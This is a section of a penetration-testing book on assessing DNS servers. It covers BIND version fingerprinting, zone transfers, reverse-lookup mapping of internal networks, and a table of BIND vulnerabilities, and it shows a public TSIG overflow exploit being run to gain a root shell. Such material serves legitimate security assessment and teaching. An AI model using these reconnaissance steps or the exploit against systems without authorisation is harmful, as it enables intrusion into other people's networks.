5.3 DNS

In Chapter 3, I covered the use of Domain Name System querying to enumerate and map IP networks. This involves launching forward and reverse queries, along with DNS zone transfers. DNS servers use two ports to fulfill requests: UDP port 53 to serve standard direct requests (e.g., to resolve names to IP addresses and vice versa) and TCP port 53 to serve DNS information during a zone transfer.

To fully assess DNS services (to identify exploitable vulnerabilities and other risks) you must do the following:

Retrieve DNS service version information
Attempt to perform DNS zone transfers against known domains
Attempt to perform mass reverse-lookup queries against internal address space
Test for process manipulation vulnerabilities

5.3.1 Retrieving DNS Service Version Information

DNS server version information can be gleaned directly across UDP port 53 by issuing a version.bind chaos txt request through the Unix dig utility. In Example 5-3, BIND 9.2.1 is running against mail.hmgcc.gov.uk.

Example 5-3. Using dig to glean BIND version information

# dig @mail.hmgcc.gov.uk version.bind chaos txt



; <<>> DiG 9.2.0 <<>> @mail.hmgcc.gov.uk version.bind chaos txt

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21612

;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0



;; QUESTION SECTION:

;version.bind.                  CH      TXT



;; ANSWER SECTION:

version.bind.           0       CH      TXT     "9.2.1"



;; Query time: 29 msec

;; SERVER: 195.217.192.1#53(mail.hmgcc.gov.uk)

;; MSG SIZE  rcvd: 48

If you don't have access to a Unix-like system with dig, nslookup can be used in an interactive fashion from Windows, Unix, or MacOS to issue the same version.bind request. Example 5-4 shows that relay2.ucia.gov is running BIND 4.9.11 (a recent release of the BIND 4 server software).

Example 5-4. Using nslookup to gather BIND version information

# nslookup

> server relay2.ucia.gov

Default server: relay2.ucia.gov

Address: 198.81.129.194#53

> set class=chaos

> set type=txt

> version.bind

Server:         relay2.ucia.gov

Address:        198.81.129.194#53



VERSION.BIND    text = "4.9.11-REL"

5.3.2 DNS Zone Transfers

DNS services are primarily accessed through UDP port 53 when serving answers to DNS requests. Authoritative name servers also listen on TCP port 53 for synchronization and DNS zone transfer purposes.

As discussed previously in Chapter 3, a DNS zone file contains all the naming information the name server stores regarding a specific DNS domain. A DNS zone transfer can often be launched to retrieve details of nonpublic internal networks and other useful information that can help build an accurate map of the target infrastructure.

Windows tools, such as nslookup and the Sam Spade Windows client, can perform a DNS zone transfer (see the Section 3.3.2). However, the most effective method to issue a DNS zone transfer request against a specific DNS server is to use the Unix dig command, as shown in Example 5-5.

Example 5-5. Using dig to perform a DNS zone transfer

# dig @auth100.ns.uu.net ucia.gov axfr



; <<>> DiG 9.2.1 <<>> @auth100.ns.uu.net ucia.gov axfr

;; global options:  printcmd

ucia.gov.               86400   IN  NS     relay1.ucia.gov.

ucia.gov.               86400   IN  NS     auth100.ns.uu.net.

ucia.gov.               86400   IN  MX     5 relay2.ucia.gov.

relay2-qfe0.ucia.gov.   86400   IN  CNAME  relay2.ucia.gov.

relay1-qfe0.ucia.gov.   86400   IN  CNAME  relay1.ucia.gov.

ain-relay1-ext.ucia.gov. 86400  IN  CNAME  relay1.ucia.gov.

ex-rtr-191-a.ucia.gov.  86400   IN  A      192.103.66.58

ain-relay11-ext.ucia.gov. 86400 IN  CNAME  relay11.ucia.gov.

ex-rtr-191-b.ucia.gov.  86400   IN  A      192.103.66.62

relay.ucia.gov.         86400   IN  CNAME  relay1.ucia.gov.

relay2-int.ucia.gov.    86400   IN  CNAME  ain-relay2-le1.ucia.gov.

ain-relay11-qfe0.ucia.gov. 86400 IN CNAME  relay11.ucia.gov.

relay11-int.ucia.gov.   86400   IN  A      192.168.64.4

ain.ucia.gov.           86400   IN  A      198.81.128.68

foia.ucia.gov.          86400   IN  CNAME  www.foia.ucia.gov.

relay11.ucia.gov.       86400   IN  A      198.81.129.195

ain-relay2-ext.ucia.gov. 86400  IN  CNAME  relay2.ucia.gov.

relay1-ext.ucia.gov.    86400   IN  CNAME  relay1.ucia.gov.

relay11-qfe0.ucia.gov.  86400   IN  CNAME  relay11.ucia.gov.

relay2t.ucia.gov.       86400   IN  A      198.81.129.34

ain-relay2-qfe1.ucia.gov. 86400 IN  A      192.168.64.3

ain-relay1-qfe0.ucia.gov. 86400 IN  CNAME  relay1.ucia.gov.

ain-relay1-qfe1.ucia.gov. 86400 IN  A      192.168.64.2

ex-rtr.ucia.gov.        86400   IN  CNAME  ex-rtr-129.ucia.gov.

wais.ucia.gov.          86400   IN  CNAME  relay2.ucia.gov.

relay2-ext.ucia.gov.    86400   IN  CNAME  relay2.ucia.gov.

ain-relay1-int.ucia.gov. 86400  IN  CNAME  ain-relay1-qfe1.ucia.gov.

ain-relay.ucia.gov.     86400   IN  CNAME  relay1.ucia.gov.

relay11-ext.ucia.gov.   86400   IN  CNAME  relay11.ucia.gov.

relay1.ucia.gov.        86400   IN  A      198.81.129.193

relay2.ucia.gov.        86400   IN  A      198.81.129.194

ain-relay-int.ucia.gov. 86400   IN  CNAME  ain-relay1-qfe1.ucia.gov.

relay-int.ucia.gov.     86400   IN  CNAME  ain-relay1-qfe1.ucia.gov.

ex-rtr-129.ucia.gov.    86400   IN  HINFO  "Cisco 4000 Router"

ex-rtr-129.ucia.gov.    86400   IN  A      198.81.129.222

ain-relay2-int.ucia.gov. 86400  IN  CNAME  ain-relay2-le1.ucia.gov.

ain-relay2-le0.ucia.gov. 86400  IN  CNAME  relay2.ucia.gov.

relay1-int.ucia.gov.    86400   IN  CNAME  ain-relay1-qfe1.ucia.gov.

5.3.3 DNS Information Leaks and Reverse Lookup Attacks

Until recently, Check Point Firewall-1 shipped with a DNS "allow any to any" rule within its default policy. Many other firewalls also suffer from this oversight, so it is often possible to access DNS servers running on internal systems that should not be providing name service to the Internet.

For example, during a penetration test I undertook in 1998 against a multinational corporation, I completely mapped internal network space through misconfigured DNS servers. Through initial port scanning I found a handful of accessible DNS servers that, upon inspection, seemed to be connected to the internal network. I enumerated internal hosts and networks through one name server in particular, which allowed me to build a detailed map of the internal network space through a non-authoritative name server.

It is sometimes possible to connect directly to DNS servers on peripheral network boundaries (using UDP port 53) and issue requests relating to internal IP addresses. Example 5-6 shows how nslookup can be used to find internal addresses?easily done if you know internal IP address ranges (through enumeration done earlier in the testing process).

Example 5-6. Extracting internal host information through DNS

# nslookup

> set querytype=any

> server 144.51.5.2

Default server: 144.51.5.2

Address: 144.51.5.2#53

> 192.168.1.43

;; connection timed out; no servers could be reached

> 192.168.1.44

;; connection timed out; no servers could be reached

> 192.168.1.45

Server:         144.51.5.2

Address:        144.51.5.2#53



45.1.168.192.in-addr.arpa       name = staging.corporate.com

An automated reverse DNS sweep tool such as ghba can be modified to query a specific name server for internal network information, but this can also be achieved simply by setting your /etc/resolv.conf file to point at the target name server instead of your local DNS servers. Example 5-7 shows how this can be done from a Unix environment.

Example 5-7. Automating the reverse lookup process with ghba

# cat /etc/resolv.conf

nameserver 144.51.5.2

# ghba 192.168.1.0

Scanning Class C network 192.168.1...



192.168.1.1 => gatekeeper.corporate.com

192.168.1.5 => exch-cluster.corporate.com

192.168.1.6 => exchange-1.corporate.com

192.168.1.7 => exchange-2.corporate.com

192.168.1.8 => sqlserver.corporate.com

192.168.1.45 => staging.corporate.com

All in all, DNS servers running on internal hosts such as Windows 2000 Server platforms are useful to a determined attacker. Default Check Point firewall rules and weak network segmentation can be used by attackers to gather useful network information.

5.3.4 BIND Vulnerabilities

The Berkeley Internet Name Daemon (BIND) is run on most Unix name servers. The BIND service has been found to be vulnerable to a plethora of buffer overflow and denial of service attacks over recent years. The Internet Software Consortium (ISC) has created a very useful web page to track all publicly known vulnerabilities in BIND (see http://www.isc.org/products/BIND/bind-security.html). At the bottom of the ISC page is an excellent matrix documenting exactly which versions of BIND are vulnerable to each known attack. Table 5-1 shows a summary of the remotely exploitable vulnerabilities within BIND at the time of writing, with details of the affected versions of software.

Table 5-1. Remotely exploitable BIND vulnerabilities
Vulnerability	CVE reference	BIND versions affected
SIG overflow	CVE-2002-1219	4.9.5-4.9.10, 8.1, 8.2-8.2.6, and 8.3-8.3.3
NXDOMAIN overflow	CVE-2002-1220	8.2-8.2.6 and 8.3-8.3.3
libresolv overflow	CVE-2002-0029	4.9.2-4.9.10
OpenSSL overflow	CVE-2002-0656	9.1.0, and 9.2.x if built with SSL
libbind overflow	CVE-2002-0651	4-4.9.9, 8-8.2.6, 8.3.0-8.3.2, and 9.2.0
TSIG overflow	CVE-2001-0010	8.2, 8.2.1, 8.2.2 patch levels 1-7 and 8.2.3 beta releases
`nslookupcomplain( )` format string bug	CVE-2001-0013	4.9.3-4.9.5 patch level 1, 4.9.6 and 4.9.7
NXT record overflow	CVE-1999-0833	8.2, 8.2 patch level 1 and 8.2.1

Mike Schiffman has written a good paper that discusses the history of BIND vulnerabilities and details the current security posture of over 10,000 DNS servers. You can read his findings at http://www.packetfactory.net/papers/DNS-posture/.

Exploit scripts for some BIND vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).^[1] As always, you can search the MITRE CVE and ISS X-Force lists at http://cve.mitre.org and http://xforce.iss.net, respectively.

^[1] URLs for tools in this book are mirrored at the O'Reilly site, http://examples.oreilly.com/networksa/tools.

5.3.4.1 BIND TSIG overflow exploit

You can find a number of public exploits for the BIND TSIG overflow, one of which is bind8x.c, from http://packetstormsecurity.org/0102-exploits.

Background information for the bug in question is accessible as a CERT advisory at http://www.cert.org/advisories/CA-2001-02.html and also by checking the MITRE CVE list for exposure reference CVE-2001-0010.

After identifying a vulnerable name server running BIND 8.2.1 or 8.2.2 (in this example at 192.168.0.20), you can launch the exploit as shown in Example 5-8.

Example 5-8. The BIND TSIG remote exploit

# ./bind8x 192.168.0.20

[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix

[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net

[*] attacking 192.168.0.20 (192.168.0.20)

[d] HEADER is 12 long

[d] infoleak_qry was 476 long

[*] iquery resp len = 719

[d] argevdisp1 = 080d7cd0, argevdisp2 = 4010d704

[*] retrieved stack offset = bffffa88

[d] evil_query(buff, bffffa88)

[d] shellcode is 134 long

[d] olb = 136

[*] injecting shellcode at 1

[*] connecting..

[*] wait for your shell..

Linux ns2 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown

uid=0(root) gid=0(root) groups=0(root)

5.3.5 Microsoft DNS Service Vulnerabilities

Windows 2000 servers ship with built-in DNS services. As the Windows platform moves toward a native Active Directory model, historic naming services such as WINS are being superseded by DNS.

5.3.5.1 Extracting Active Directory network service information

Details of authoritative Windows 2000 network services, such as Active Directory, LDAP, and Kerberos can be found by searching for SRV records when performing a DNS zone transfer against a known Windows 2000 server. RFC 2052 details the SRV record format and other information, but generally the following DNS SRV records can be found when testing a Windows 2000 server running DNS:

_gc._tcp       SRV priority=0,weight=100,port=3268,pdc.example.org

_kerberos._tcp SRV priority=0,weight=100,port=88,pdc.example.org

_kpasswd._tcp  SRV priority=0,weight=100,port=464,pdc.example.org

_ldap._tcp     SRV priority=0,weight=100,port=389,pdc.example.org

From analyzing the responses, you can identify servers running Active Directory Global Catalog and Kerberos services. LDAP is also used in organizations as a user directory, listing users along with telephone and other details (see the Section 5.7 later in this chapter for further information).

5.3.5.2 Remote vulnerabilities in the Microsoft DNS server

At the time of writing, there is no easy way to list current Windows 2000 Server DNS vulnerabilities. Due to the way that DNS is built into the core operating system and the way Microsoft manages its advisories and patches, you must currently trawl through an abundance of advisories on the Microsoft site (at http://www.microsoft.com/technet/security/) and cross reference them to identify remotely exploitable DNS issues. A Google, MITRE CVE, or SecurityFocus search can often spread light over recent problems.